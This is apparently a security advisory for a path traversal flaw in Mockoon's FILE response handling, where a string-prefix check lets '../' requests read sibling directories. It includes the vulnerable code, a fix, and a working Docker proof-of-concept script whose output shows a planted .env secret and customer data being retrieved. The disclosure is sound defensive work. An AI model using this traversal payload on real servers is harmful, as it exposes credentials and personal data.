GHSA-8wqc-v2q8-vff2

## Summary

A `FILE` response whose `filePath` embeds request data (e.g. `"/srv/public/{{queryParam 'name'}}"`, the documented way to let the client pick a file) is confined by `getSafeFilePath` with `resolvedPath.startsWith(staticBaseDir)`. That prefix test has no path-separator boundary, so a `../`-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.

## Details

`packages/commons-server/src/libs/server/server.ts`, `getSafeFilePath` (line 2315). The static base is the text before the first `{{`, resolved to an absolute path; the parsed `filePath` is then bounded by a string-prefix check:

```ts const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336 const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled const resolvedPath = resolvePath(parsedFilePath);

if (isPathAbsolute) { if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355 throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`); } } else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362 throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`); } ```

With `"/srv/public/{{queryParam 'name'}}"`, `staticBaseDir = /srv/public`. A request `name=../public_backup/.env` resolves to `/srv/public_backup/.env`, and `"/srv/public_backup/.env".startsWith("/srv/public")` is `true` → served. Any sibling whose absolute path begins with the string `/srv/public` is reachable; the relative branch (`:2362`) is the same against `environmentDirectory`. A correct check appends `sep` to the base, or rejects when `relative(base, resolvedPath)` starts with `..`.

`filePath` is request-controlled (`queryParam`/`urlParam`/header/body via `TemplateParser`) for every `FILE` response: HTTP `sendFile` (`:1762`), WebSocket (`:1145`), callbacks (`:1586`).

## PoC

```sh cat > /tmp/poc.sh <<'POC' set -e mkdir -p /work/public /work/public_backup && cd /work echo 'public landing page' > public/index.txt echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env echo 'Michael, michael@example.com, 555-22-7741' > public_backup/customers.csv cat > env.json <<'JSON' {"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[], "routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download", "responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[], "bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR", "disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}], "responseMode":null,"streamingMode":null,"streamingInterval":0}], "rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}], "proxyMode":false,"proxyHost":"","proxyRemovePrefix":false, "tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""}, "cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]} JSON npm i -g @mockoon/cli@9.6.1 >/dev/null 2>&1 mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 & sleep 6 node -e ' const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}}; const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();}; (async()=>{ console.log("[*] intended file (public/index.txt) :",await g("index.txt")); console.log("[+] escape -> ../public_backup/.env :",await g("../public_backup/.env")); console.log("[+] escape -> ../public_backup/customers:",await g("../public_backup/customers.csv")); })();' POC docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh ```

Output:

```text [*] intended file (public/index.txt) : public landing page [+] escape -> ../public_backup/.env : AWS_SECRET_ACCESS_KEY=redacted [+] escape -> ../public_backup/customers: Michael, michael@example.com, 555-22-7741 ```

`../public_backup/.env` and `../public_backup/customers.csv` are served, outside `/work/public/`, because their absolute paths string-prefix `/work/public`